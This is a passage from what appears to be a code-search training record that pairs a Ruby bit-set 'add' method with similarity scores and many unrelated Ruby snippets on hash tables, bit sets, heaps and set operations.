"def __setup__(capacity=MIN_SIZE, max=MAX_ENTRIES, size=0)\n @capacity = capacity\n @mask = capacity - 1\n @max_entries = max\n @size = size\n @entries = Entries.new capacity\n end",
"def size(size)\n @value[:size] = size\n self\n end",
"def initialize(size)\n @cells = Array.new(size) { Array.new(size, Cell.new()) }\n @not_all_dead = true\n end",
"def initialize(size = DEFAULT_HASHTABLE_SIZE)\n @table = Array.new(size)\n @count = EMPTY_COUNT\n end",
"def bphash( key, len=key.length )\n state = 0\n \n len.times{ |i|\n state = state << 7 ^ key[i]\n }\n return state\nend",
"def bit_length\n @bit_length ||= ECDSA.bit_length(field.prime)\n end",
"def data_b\n ~data & ((1 << size) - 1)\n end",
"def initialize(size: 1024, kicks: 500, bucket_size: 4)\n @size = next_power_of_two(size)\n @max_kicks = kicks\n @bucket_size = next_power_of_two(bucket_size)\n @num_buckets = @size / @bucket_size\n @filled = 0\n @buckets = Array.new(@num_buckets) { Bucket.new(@bucket_size) }\n end",
"def identity\n self.class.new(size)\n end",
"def nbf(m = 2880, k = 20)\n BloomFilter.new(m: m, k: k)\n end",
"def normalize_size_to(integer)\n until size >= integer\n unshift 0\n end\n self\n end",
"def dummy_reg(size = 16)\n Reg.new(self, 0, size, :dummy, init_as_writable: true)\n end"
] |
[
"0.6335131",
"0.6134692",
"0.5704021",
"0.55820537",
"0.55785406",
"0.55625993",
"0.5372414",
"0.53715146",
"0.52831906",
"0.52731884",
"0.52588296",
"0.5220683",
"0.51527274",
"0.5128951",
"0.50852776",
"0.5065795",
"0.5051743",
"0.5014575",
"0.49756056",
"0.496662",
"0.49653172",
"0.49630955",
"0.4909088",
"0.48925757",
"0.48874375",
"0.48720646",
"0.4834065",
"0.48103335",
"0.4770574",
"0.47330385",
"0.4727569",
"0.46976814",
"0.4692267",
"0.46914214",
"0.46900824",
"0.4670335",
"0.46488884",
"0.4644742",
"0.46425232",
"0.46293658",
"0.46274868",
"0.46180102",
"0.4608848",
"0.46056104",
"0.46004286",
"0.4598932",
"0.4597706",
"0.4589934",
"0.4575765",
"0.45558307",
"0.4538723",
"0.4526323",
"0.45199165",
"0.4514211",
"0.44997126",
"0.44927415",
"0.44912562",
"0.4471595",
"0.44626325",
"0.44583124",
"0.44583124",
"0.44516033",
"0.4448825",
"0.44430283",
"0.4437491",
"0.44302392",
"0.4429779",
"0.4426692",
"0.4403373",
"0.4400366",
"0.4399485",
"0.43944854",
"0.43932226",
"0.4392622",
"0.43897656",
"0.43810296",
"0.43742532",
"0.43741664",
"0.43673503",
"0.43668175",
"0.43668175",
"0.4365162",
"0.43649805",
"0.43636072",
"0.4358578",
"0.43538126",
"0.43520337",
"0.43505427",
"0.43477386",
"0.43476313",
"0.4346787",
"0.43415052",
"0.4340461",
"0.43403983",
"0.43399218",
"0.43360153",
"0.4328932",
"0.43281975",
"0.4326638",
"0.43209276",
"0.43173507"
] |
0.0
|
-1
|
or this element into this set (grow as necessary to accommodate)
|
def add(el)
# System.out.println("add("+el+")");
n = word_number(el)
# System.out.println("word number is "+n);
# System.out.println("bits.length "+bits.length);
if (n >= @bits.attr_length)
grow_to_include(el)
end
@bits[n] |= bit_mask(el)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def put(elm)\n resize\n\n i = self.length\n i = @bitmap.next_cell + 1 while i == self.length\n\n begin\n self[i] = elm\n @bitmap.mark_cell(i - 1)\n rescue Exception => e\n # TODO: what about ignoring the operation?\n raise e\n end\n i\n end",
"def append( setThis)\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n end",
"def element=(element); end",
"def put(ps)\n @piece += ps\n self\n end",
"def set(ot)\n merge(ot)\n self\n end",
"def put_in_place\n if place==:append\n item = self\n self.class.with_tree_scope(self) do\n root.append(item)\n end\n end\n end",
"def set; end",
"def set; end",
"def unshift\n self\n end",
"def shift\n (e = node_set.shift) && NodeProxy.new(e, parent)\n end",
"def replace_element_by_own_content(element)\n if element.has_children_elements?\n element.get_children_elements.each do |child|\n element.insert_before(child)\n end\n element.remove_node\n elsif element.has_children?\n element.replace_node(element.get_first_node_child)\n end\n end",
"def rset; end",
"def add(p)\nq = self.dup\nq.add!(p)\nend",
"def succ\n if @combo == nil or @combo == @set[-@num_elements..-1]\n return nil if (@num_elements +=1) > @set.length\n @combo = @set[0,@num_elements]\n else\n index = (1..@num_elements).find {|i| @combo[-i] < @set[-i]}\n @combo[-index, index] = @set[@map[@combo[-index]], index]\n end\n @combo\n end",
"def assign_to_parent(element)\n element.remove!\n element.parent = parent\n end",
"def element=( element )\n @element = element\n self\n end",
"def adopt(other_tile)\n other_tile.operations.each do |op|\n @operations << op.clone\n end\n end",
"def set(m)\n 0.upto(m.row_size - 1) do |i|\n 0.upto(m.column_size - 1) do |j|\n self[i, j] = m[i, j]\n end\n end\n self.wrap = m.wrap\n end",
"def union(l, e)\n self << l if @elements[l].nil?\n old = @elements[e]\n @elements.keys.each{|k| @elements[k] = @elements[l] if @elements[k] == old}\n end",
"def union(rect)\n self.dup.union!(rect)\n end",
"def push cv\r\n\t\t@set.push cv\r\n\tend",
"def >>(oth)\n self.viewport = Viewport.new if (self.is_a?(Sprite) && !self.viewport)\n self.parent = oth\n oth.children ||= []\n oth.children << self\n compute\n oth\n end",
"def <<(elem)\r\n self.add elem\r\n end",
"def deunion\n [self]\n end",
"def all_to(new_value)\n @v = Vector.new(@v.size, new_value)\n self\n end",
"def to_expanded_set\r\n (target.map { |x| x.to_i } << to_i).to_set # include the group value as well\r\n end",
"def merge!(oth)\n t = merge(oth)\n if self == t\n nil\n else\n replace!(t)\n self\n end\n end",
"def update_tree(element); end",
"def union(b)\n @pages.update b.pages\n self\n end",
"def set(i, value)\n old_element = @elements.get(i)\n @elements.set(i, value) # update list\n HashSet.instance_method(:remove).bind(self).call(old_element) # now update the set: remove/add\n HashSet.instance_method(:add).bind(self).call(value)\n return old_element\n end",
"def add(element)\n bin_row = bin_row(element)\n element_rows(element).each { |y|\n return false if ((@rows[y] & bin_row) != 0)\n }.each { |y|\n @rows[y] = @rows[y] | bin_row\n }\n self\n end",
"def unshift(*elements)\n __insertall_at(elements, 1)\n self\n end",
"def add(el)\n\t\tif(@elements.length < @size)\n\t\t\t@elements.push(el)\n\t\t\tbubble_up()\n\t\telsif el[@orderBy] < max\n\t\t\t# remove the max\n\t\t\tbubble_down()\n\t\t\t# add the new element\n\t\t\t@elements.push(el)\n\t\t\tbubble_up()\n\t\tend\n\tend",
"def shift\n if @elements.empty?\n return nil\n end\n\n swap(0,@elements.size-1)\n ele = @elements.pop\n heapify(0)\n ele\n end",
"def __element_object_set(h, val)\n __element_object_get(h).__overwrite_content(val)\n end",
"def move_up_in_collection!\n weight = self.weight\n\n if previous_item = self.prioritizable_collection.where(['weight > ?', weight]).last\n swap_weight_with_other_item!(previous_item)\n end\n end",
"def union!(rect)\n self.normalize!\n rleft, rtop = self.topleft\n rright, rbottom = self.bottomright\n r2 = Rect.new_from_object(rect).normalize!\n\n rleft = [rleft, r2.left].min\n rtop = [rtop, r2.top].min\n rright = [rright, r2.right].max\n rbottom = [rbottom, r2.bottom].max\n\n self[0,4] = rleft, rtop, rright - rleft, rbottom - rtop\n return self\n end",
"def retreat\n @position = @position - 1 rescue -1\n self[@position + 1]\n end",
"def []=(x, v)\n old_size = size\n super(x, v)\n expand(old_size, size - 2) if size - old_size > 1\n end",
"def set_pieces\n @pieces.each do |piece|\n y , x = piece.location\n @rows[y][x] = piece\n end\n end",
"def __copy_on_write__(*)\n super.tap do\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end",
"def inner_dom=(node)\n clear\n\n self << node\n end",
"def complete\n self.dup.complete!\n end",
"def addto!(other)\n\t\treplace(addto(other))\n\tend",
"def barrier\n @builder_sets << build_builder_set\n end",
"def replace(elements)\n if elements.kind_of?(PQueue)\n initialize_copy(elements)\n else\n @que.replace(elements.to_a)\n sort!\n end\n self\n end",
"def new_set\r\n @sets[@current_set_name] = @current_set\r\n @current_set = []\r\n end",
"def |(other)\n # transform self into a LinkedHashSet to remove duplicates and preserve order as defined by the Ruby Array union contract\n duped = Java::JavaUtil::LinkedHashSet.new(self)\n duped.addAll(other)\n duped\n end",
"def complete_weak_set\n relation.weaker.each do |r|\n if relation_set(r).blank?\n t = relation_set.build :relation => r\n t._without_inverse = true\n t.save!\n end\n end\n end",
"def unshift(val)\n resize! if length == capacity\n\n self.length += 1\n (length - 2).downto(0).each{|i| self[i+1] = self[i]}\n self[0] = val\n\n nil\n end",
"def expand\n move = @untried_moves.pop\n create_child(move)\n end",
"def set(index, element)\n\t\traise OutOfBoundsException if index >=@size\n\t\t@data[index] = element\n\tend",
"def set(position)\n # duplicated code to avoid a method call\n @field[position / ELEMENT_WIDTH] |= 1 << (position % ELEMENT_WIDTH)\n end",
"def set(index, element)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index] = element\n\tend",
"def +(other)\n other = [other] unless other.is_a?(Array) \n other.each { |o| \n if o.is_a?(Element) then\n o.parent = @parent if @parent\n end\n }\n touch # ADDED\n return [ self ] + other \n end",
"def inner_dom= element\n clear\n append element\n end",
"def add(elem)\n @elements << elem\n i = @elements.size-1\n pa = parent(i)\n while i>0 and @comparator.call(@elements[i],@elements[pa]) > 0\n swap(i,pa)\n i = pa\n pa = parent(pa)\n end\n end",
"def merge(p, q)\n return p if q.nil?\n return q if p.nil?\n p, q = q, p if p.element > q.element\n q.parent = p\n p.right = merge(p.right, q)\n p.right, p.left = p.left, p.right\n p\n end",
"def unshift(val)\n resize! if @length == @capacity\n\n @length += 1\n (@length - 2).downto(0).each { |i| self[i+1] = self[i] }\n self[0] = val\n\n nil\n end",
"def reposition_element(index)\n return if size <= 1\n\n element = @backing_store.delete_at(index)\n index = binary_index(@backing_store, element)\n\n @backing_store.insert(index, element)\n end",
"def search_builder(*args)\n super.tap do |builder|\n if @set\n builder.set = @set\n end\n end\n end",
"def <<(element)\n @elements << element\n self\n end",
"def __sparse_initial_set__(ary) #:nodoc:\n self[0...self.shape[0],0...self.shape[1]] = ary\n end",
"def take \n element = @root.level.maps.first.element_at @position\n \n unless element.is_a? Interactable \n say(\"I can't pick it up!\") \n return\n end\n @inventory << element \n @root.level.maps.first.game_objects.delete(element)\n @root.inventory_updated if defined? @root.inventory_updated\n end",
"def pop\n super[0]\n end",
"def pop\n super[0]\n end",
"def merge!(other)\n raise TypeError, \"argument is not a TextElement\" unless other.instance_of?(TextElement)\n\n if (self <=> other) < 0\n self.text = other.text + self.text\n else\n self.text << other.text\n end\n super(other)\n end",
"def shift\n return nil if empty?\n @que.shift\n end",
"def place!(val, &block)\n pos = nil\n orig_size = self.size\n block ||= lambda{|a, b| a <=> b}\n self.each_with_index do |e, i|\n if block.call(e, val) == 1\n pos = i\n break\n end\n end\n return nil unless pos\n self.insert(pos, val)\n while self.size > orig_size\n self.pop\n end\n val\n end",
"def union(setone,settwo) \n #Find the number of elements , make root of the Tree with fewer nodes point to root of the tree with large node\n first=find(setone)\n second=find(settwo)\n\n if first.instance_of?(String) || second.instance_of?(String) then\n puts 'One of the Input is not a valid set'\n return\n end\n \n if first[1]>=second[1] then\n @store[settwo]=setone #settwo has more elements\n @store[first[0]]=second[1]+first[1]\n else\n @store[setone]=settwo\n @store[first[0]]=first[1]+second[1]\n end\n end",
"def last= value\n return self[size-1] = value if size > 0\n self[0] = value if size == 0\n end",
"def union(anotha_one)\n new_set = MySet.new\n for i in 0...secret_size\n new_set.add(@da_set.get(i)) unless @da_set.get(i) == nil\n end\n\n for i in 0...anotha_one.secret_size\n # anotha_one.element_at_index(i) == nil ? nil : new_set.contains?(anotha_one.element_at_index(i)) ? nil : new_set.add(anotha_one.element_at_index(i))\n\n unless anotha_one.element_at_index(i) == nil\n new_set.add(anotha_one.element_at_index(i)) unless new_set.contains?(anotha_one.element_at_index(i))\n end\n end\n\n return new_set\n end",
"def |(other_set)\n super(CharSet.new(other_set))\n end",
"def shift; self.sections.each(&:shift); end",
"def set( setThis )\r\n assert_exists\r\n assert_enabled\r\n assert_not_readonly\r\n \r\n highlight(:set)\r\n @o.scrollIntoView\r\n @o.focus\r\n @o.select()\r\n @o.fireEvent(\"onSelect\")\r\n @o.value = \"\"\r\n @o.fireEvent(\"onKeyPress\")\r\n doKeyPress( setThis )\r\n highlight(:clear)\r\n @o.fireEvent(\"onChange\")\r\n @o.fireEvent(\"onBlur\")\r\n end",
"def full_set(options = {})\n return [self] if new_record? or self[nested_set_right]-self[nested_set_left] == 1\n [self] + all_children(options)\n end",
"def add_self_to_getters(right_elements); end",
"def replace_at(pos, val)\n if pos < 0\n pos = size + pos\n end\n if has_size? && size <= pos\n expand(pos - size + 1)\n end\n replace_access(pos, val)\n return self\n end",
"def enqueue(element)\n #if the array is already at the max length @size, or if the elemennt we are trying to add is nil, do nothing\n if full? or element.nil?\n nil\n else\n #subtracts 1 from @tail\n @tail = @tail.pred\n #sets the value of the element at the tail of the array to the value of element.\n @store[@tail] = element\n #returns it self\n self\n end\n end",
"def add_hull(h)\n @rightmost = h.rightmost\n @points.concat(h.points)\n\n h.points.each do |p| p.hull = self end\n\n self\n end",
"def __copy_on_write__(*)\n index = @parent_proxy.instance_variable_get(:@set).index(__getobj__) if @parent_proxy\n super.tap do\n CowProxy.debug { \"replace #{index} with proxy obj in parent #{@parent_proxy.name}\" } if index\n @parent_proxy.instance_variable_get(:@set)[index] = self if index\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end",
"def assign_until_unique(piece)\n x = Random.new.rand(1..@size)\n y = Random.new.rand(1..@size)\n unless coordinates.include? [x, y]\n piece.coordinates = [x, y]\n return piece\n end\n assign_until_unique(piece)\n end",
"def escalate_bbtree(element)\n @current_node = TagNode.new(element)\n @tags_list.push @current_node\n end",
"def final_row\n union_disjoint_sets_carve_wall(skip_probability: [false] )\n end",
"def push(element); end",
"def union(element1, element2)\n raise IndexError, 'Element1 does not exist.' unless @elements.include?(element1)\n raise IndexError, 'Element2 does not exist.' unless @elements.include?(element2)\n rep1 = representative(element1)\n rep2 = representative(element2)\n \n if rep1 == rep2\n return nil\n end\n \n @num_components -= 1\n \n if @tree_size[rep1] >= @tree_size[rep2]\n @tree_size[rep1] += @tree_size[rep2]\n @parent[rep2] = rep1\n return rep1\n else\n @tree_size[rep2] += @tree_size[rep1]\n @parent[rep1] = rep2\n return rep2\n end\n end",
"def rehash\n @rules.rehash\n @elements = nil\n end",
"def __add_keys_to(set) # used by parser # [\n lim = @_st_tableSize\n lim = lim + lim\n kofs = 0\n while kofs < lim\n k = self.__at(kofs)\n if k._not_equal?(RemoteNil)\n set.add(k) # k,v pair\n else\n v = self.__at(kofs + 1)\n if v._not_equal?(RemoteNil)\n if v._isFixnum\n # internal collision chain\n idx = v\n begin\n ck = self.__at(idx)\n if ck._not_equal?(RemoteNil)\n set.add(ck)\n end\n idx = self.__at(idx + 2)\n end while idx._isFixnum\n else\n # a collision bucket , which is a small Hash \n v.__add_keys_to(set)\n end\n end\n end\n kofs += 2\n end\n end",
"def refreshOverAllStar\n\t\t@etoileTotal.each { |child|\n\t\t\t@etoileTotal.remove(child)\n\t\t}\n\t\t@st=Star.new(1,1,@ic)\n\t\t@etoileTotal.pack_start(@st.stars,expand: false, fill: true, padding:@pad)\n\t\tnbEtoile=Text.new(@adventure.overAllStars.to_s)\n\t\tnbEtoile.title\n\t\t@etoileTotal.pack_start(nbEtoile.gtkObject,expand: false, fill: true, padding:@pad)\n\tend",
"def set( index , value)\n raise \"Only positive indexes #{index}\" if index <= 0\n if index > self.get_length\n grow_to(index)\n end\n # internally 1 is reserved for the layout\n internal_object_set( index + 1, value)\n end",
"def elements\n NodeSetProxy.new(@node.elements, self)\n end",
"def take_place\n super(1)\n end",
"def pick #ø\n a = pop\n raise StandardError, \"stack is not that big\" if size <= a\n b = self[-a]\n push a\n push b\n end",
"def inline\n @out.delete(self)\n @in.each do |n|\n i = 0\n while(i < n.out.length)\n n.out[i,1] = @out if n.out[i] == self\n i += 1\n end\n end\n @graph.remove(self)\n end",
"def []=(index, element); end",
"def update!(**args)\n @element = args[:element] if args.key?(:element)\n end",
"def expand(val)\n trail = @sset[val]\n OPS[trail.dir ].each do |op|\n result= self.send(op,val)\n if result\n newpath = trail.grow(op)\n if (foundpath = @sset[result] )\n if foundpath.dir != newpath.dir\n cost = foundpath.cost+newpath.cost\n @match= [newpath,result, cost] if (!@match || (cost < @match.last))\n elsif foundpath.cost > newpath.cost\n @sset[result] = newpath\n end\n else\n @sset[result] = newpath\n if (!@match || (newpath.cost+@depth) < @match.last)\n @newvals.push(result) #only check if total cost can be less than match cost\n end\n end\n end\n end\n end",
"def add(value)\n result = super(value)\n if (result)\n # only track if new element not in set\n @elements.add(value)\n end\n return result\n end",
"def unshift(val)\n resize! if @length == @capacity\n @length += 1\n #slide everything to the right\n (@length-2).downto(0).each do |i|\n @store[i+1] = @store[i]\n end\n @store[0] = val\n end",
"def reappend_el(index)\n element = @cache.slice!(index)\n @cache << element\n end",
"def push(node)\n new_index = (@nodeset << node).length - 1\n heapify_up new_index\n self\n end"
] |
[
"0.5856006",
"0.5821687",
"0.5800679",
"0.5597669",
"0.5553882",
"0.540335",
"0.5365564",
"0.5365564",
"0.5306744",
"0.5295624",
"0.52911377",
"0.52803934",
"0.5271333",
"0.5263474",
"0.52616894",
"0.5253925",
"0.52434164",
"0.52433103",
"0.51850694",
"0.5158072",
"0.51524687",
"0.5141837",
"0.5140598",
"0.51322937",
"0.51322633",
"0.51240146",
"0.511057",
"0.5098601",
"0.50845927",
"0.5083137",
"0.50561816",
"0.504044",
"0.5037412",
"0.5009924",
"0.49853495",
"0.49818197",
"0.49620768",
"0.49456027",
"0.4934178",
"0.49327922",
"0.4929611",
"0.49251142",
"0.49111077",
"0.48990566",
"0.4892928",
"0.48907855",
"0.48870394",
"0.4864272",
"0.48614657",
"0.48607832",
"0.4857254",
"0.48503518",
"0.48484007",
"0.4846654",
"0.48433837",
"0.48410574",
"0.48329407",
"0.48204795",
"0.4817733",
"0.48152238",
"0.4799042",
"0.47980684",
"0.47976327",
"0.47927487",
"0.47904488",
"0.47904488",
"0.4784824",
"0.47838268",
"0.47771075",
"0.47733036",
"0.47697067",
"0.47678807",
"0.47597796",
"0.47588578",
"0.47338107",
"0.4733298",
"0.4729922",
"0.47284546",
"0.4728262",
"0.47275937",
"0.4726022",
"0.4720172",
"0.4716427",
"0.47105217",
"0.47045043",
"0.47035792",
"0.4699796",
"0.4697285",
"0.4696881",
"0.46817705",
"0.4674837",
"0.46734467",
"0.46701917",
"0.46693337",
"0.46660644",
"0.4662607",
"0.46555597",
"0.46543023",
"0.46536192",
"0.46518472",
"0.46496168"
] |
0.0
|
-1
|
Grows the set to a larger number of bits.
|
def grow_to_include(bit)
new_size = Math.max(@bits.attr_length << 1, num_words_to_hold(bit))
newbits = Array.typed(::Java::Long).new(new_size) { 0 }
System.arraycopy(@bits, 0, newbits, 0, @bits.attr_length)
@bits = newbits
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def set_size(nwords)\n newbits = Array.typed(::Java::Long).new(nwords) { 0 }\n n = Math.min(nwords, @bits.attr_length)\n System.arraycopy(@bits, 0, newbits, 0, n)\n @bits = newbits\n end",
"def bit_set_size\n @bit_set.size\n end",
"def total_set\n @field.each_byte.inject(0) { |a, byte| (a += 1; byte &= byte - 1) while byte > 0 ; a }\n end",
"def bit_small; @bit_small ||= gbit(8) end",
"def multipleSet(n)\n return (n..99).step(n).to_a.to_set\nend",
"def rekey_limit; end",
"def total_set\n @field.inject(0) { |a, byte| a += byte & 1 and byte >>= 1 until byte == 0; a }\n end",
"def total_set\n @field.inject(0) { |a, byte| a += byte & 1 and byte >>= 1 until byte == 0; a }\n end",
"def total_set\n @field.inject(0) { |a, byte| a += byte & 1 and byte >>= 1 until byte == 0; a }\n end",
"def total_set\n @field.inject(0) { |a, byte| a += byte & 1 and byte >>= 1 until byte == 0; a }\n end",
"def frog_hops_bottom_up(n)\n frog_cache_builder(n)\n end",
"def number_of_bits_up_to(n)\n Math.frexp(n - 1)[1]\n end",
"def bits_set\n (\"%b\" % self).count('1')\n #to_s(2).count('1') # alternative\n #count = 0 # alternative\n #byte = self.abs\n #count += byte & 1 and byte >>= 1 until byte == 0 # cf. http://snippets.dzone.com/posts/show/4233\n #count\n end",
"def get_power_set_2(set)\n\treturn [[]] if set.empty?\n\n\tnum = set.pop\n\tprevious_subsets = get_power_set_2(set)\n\n\tprevious_subsets.map do |subset|\n\t\t[subset.dup.push(num), subset]\n\tend.flatten(1)\n\nend",
"def frog_hops_bottom_up(n)\n frog_cache_builder(n)[n]\n end",
"def normalize_size_to(integer)\n until size >= integer\n unshift 0\n end\n self\n end",
"def not_in_place(min_bit, max_bit)\n # make sure that we have room for maxBit\n grow_to_include(max_bit)\n i = min_bit\n while i <= max_bit\n n = word_number(i)\n @bits[n] ^= bit_mask(i)\n i += 1\n end\n end",
"def set_next(value)\n increase_length\n\n new_index = (@index + 1) % @size\n previous = @bit_set.set(new_index, value == true) ? 1 : 0\n current = value == true ? 1 : 0\n\n\n @index = new_index\n @cardinality = @cardinality - previous + current\n end",
"def get_power_set_1(set)\n\t(0..set.length).map {|i| set.combination(i).to_a}.flatten(1)\nend",
"def countSetBits(x)\n\tcount = 0\n\n\twhile(x != 0)\n\t\tx = x & (x - 1)\n\t\tcount += 1\n\tend\n\treturn count\nend",
"def resize\n return self if self.count < (self.length * 0.811105)\n # garbage collecting\n self.gc if self.respond_to? :gc\n\n sz = self.size * 2\n super(sz)\n @bitmap.resize(sz)\n self\n end",
"def subarray_bitwise_o_rs(a)\n result_set = Set.new()\n a.size.times do |i|\n (1..a.size-i).each do |length|\n subarray = a[i, length]\n #puts subarray.inspect\n result = subarray.reduce(0) do |bor, elem|\n bor | elem\n end\n #puts result\n result_set << result\n end\n end\n result_set.size\nend",
"def empty_bits(_options = {})\n array_span = (0..(size - 1)).to_a\n empty_bits = array_span - used_bits\n empty_bits\n end",
"def succ\n if @combo == nil or @combo == @set[-@num_elements..-1]\n return nil if (@num_elements +=1) > @set.length\n @combo = @set[0,@num_elements]\n else\n index = (1..@num_elements).find {|i| @combo[-i] < @set[-i]}\n @combo[-index, index] = @set[@map[@combo[-index]], index]\n end\n @combo\n end",
"def size=(val)\n if @size > val\n @elements.keys.each do |k|\n @elements.delete(k) if k >= val\n end\n end\n @size = val\n end",
"def rset; end",
"def to_multiset_simple n\n @set.permutation(n).to_a.sort_by { rand }\n end",
"def adjust_largest_power\n @largest_power = @prev_rank unless @last_char_was_prefix \n end",
"def used_bits(_options = {})\n used_bits = []\n named_bits do |_name, bit|\n used_bits << bit.position if bit.size == 1\n if bit.size > 1\n used_bits << ((bit.position)..(bit.position + bit.size - 1)).to_a\n end\n end\n used_bits.flatten!\n used_bits.sort!\n used_bits\n end",
"def expand\n @max = Short::MAX_VALUE\n end",
"def to_expanded_set\r\n (target.map { |x| x.to_i } << to_i).to_set # include the group value as well\r\n end",
"def get_set(key_size, unique_values)\n unique_values.repeated_permutation(key_size).to_a\nend",
"def size\n to_set.size\n end",
"def part_1\n nodes = Set.new([SHINY_GOLD])\n growing = true\n size = nodes.size\n\n while growing\n @bag_rules.each do |key, bags|\n nodes.add(key) if bags.keys.to_set.intersect?(nodes)\n end\n growing = size != nodes.size\n size = nodes.size\n end\n\n nodes.size - 1\n end",
"def frog_hops_bottom_up(n)\n cache = frog_cache_builder(n)\n\n cache[n]\n \n end",
"def rekey_limit=(_arg0); end",
"def large_one_itemsets\n database.each_with_object(counter) do |(_, itemset), support|\n itemset.each { |item| support[item] += 1 }\n end.\n select { |item, support| support >= @min_support }.\n map { |item, support| Itemset.new([item], support: support) }\n end",
"def item_max; 64; end",
"def increase_size\n hash_size *= 2\n end",
"def f size\n\t\tmasks = (size-1).downto(0).map{|s|\n\t\t\t2 ** s \n\t\t}\n\t\t(2 ** size).times.map{|x|\n\t\t\tmasks.map{|mask|(x & mask)==0}\n\t\t\t}\n\tend",
"def reduce_max_size\n @max_size /= 2\n end",
"def to_set_bit_position_array\n BitMapping.number_to_set_bit_positions_array(number)\n end",
"def enlarge(growth)\r\n if @range.none?\r\n @range = 0...growth\r\n else\r\n @range = (@range.min)..(@range.max + growth)\r\n end\r\n end",
"def <=>(set)\n return unless set.is_a?(Set)\n\n case size <=> set.size\n when -1 then -1 if proper_subset?(set)\n when +1 then +1 if proper_superset?(set)\n else 0 if self.==(set)\n end\n end",
"def <<(bits)\n value = @value * (2**bits.to_i)\n if (bounded?)\n self.class.new(value & self.mask, @length)\n else\n self.class.new(value)\n end\n end",
"def test_013_shrink()\n TestVals.each do |sVal|\n nBits = [9, sVal.length].min + 1\n bs = BitString.new(sVal)\n assert_raise(IndexError) do\n bs.shrink(-nBits)\n end\n assert_raise(IndexError) do\n bs.shrink!(-nBits)\n end\n assert_raise(RuntimeError) do\n bs.shrink(nBits)\n end\n assert_raise(RuntimeError) do\n bs.shrink!(nBits)\n end\n bs = BitString.new(sVal, sVal.length)\n assert_raise(RuntimeError) do\n bs.shrink(sVal.length)\n end\n assert_raise(RuntimeError) do\n bs.shrink!(sVal.length)\n end\n\n #\n # Loop for the default value.\n #\n [ nil, 0, 1 ].each do |defval|\n bcmd = \"bs.shrink(#{nBits}\"\n [ nil, 'BitString::HIGH_END', 'BitString::LOW_END' ].each do |dir|\n cmd = bcmd\n cmd += \", #{dir}\" unless (dir.nil?)\n cmd += ')'\n idir = dir\n eval(\"idir = #{dir}\") unless (dir.nil?)\n #\n # Create the base bitstring, and then get the shrunken copy\n #\n bs = BitString.new(sVal, sVal.length)\n tbs = eval(cmd)\n cmd2 = cmd.sub(/(shrink)\\(/, '\\1!(')\n eval(cmd2)\n cmd.sub!(/^bs/, '')\n cmd2.sub!(/^bs/, '')\n assert_equal(sVal.length - nBits,\n tbs.length,\n \"Test '#{sVal}'#{cmd}.length (#{tbs.to_s})\")\n assert_equal(sVal.length - nBits,\n bs.length,\n \"Test '#{sVal}'#{cmd2}.length (#{bs.to_s})\")\n newLength = sVal.length - nBits\n if (idir.nil? || (idir == BitString::HIGH_END))\n #\n # shrink(nBits)\n # shrink(nBits, BitString::HIGH_END)\n #\n assert_equal(sVal[nBits,newLength].to_i(2), \n tbs.to_i,\n \"Test '#{sVal}'#{cmd} properly truncates \" +\n \"high (#{tbs.to_s})\")\n assert_equal(sVal[nBits,newLength].to_i(2),\n bs.to_i,\n \"Test '#{sVal}'#{cmd2} properly truncates \" +\n \"high (#{bs.to_s})\")\n\n elsif (idir == BitString::LOW_END)\n #\n # shrink(nBits, BitString::LOW_END)\n #\n assert_equal(sVal[0,newLength].to_i(2),\n tbs.to_i,\n \"Test '#{sVal}'#{cmd} properly shifts \" +\n \"low (#{tbs.to_s})\")\n assert_equal(sVal[0,newLength].to_i(2),\n bs.to_i,\n \"Test '#{sVal}'#{cmd2} properly shifts \" +\n \"low (#{bs.to_s})\")\n else\n assert(false, \"Missed case '#{sVal}'#{cmd}\\n\" +\n \"sVal=#{tbs.to_s}\\n\" +\n \"dir=#{dir.inspect}\")\n end\n end\n end\n end\n end",
"def specific_max_size(number); end",
"def test_008_ranges()\n TestVals.each do |sVal|\n length = sVal.length\n (length - 2).times do |width|\n width += 2\n bs = BitString.new(sVal)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n\n #\n # Now do the same with a bounded bitstring.\n #\n bs = BitString.new(sVal, length)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal, length)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n end\n end\n end",
"def powerset(arr)\n arr.inject([Set.new].to_set) do |powerset, el|\n new_powerset = Set.new\n powerset.each do |subset|\n new_powerset << subset\n new_powerset << subset + [el]\n end\n new_powerset\n end\n end",
"def frog_hops_bottom_up(n)\n cache = frog_cache_builder(n)\n cache[n]\n end",
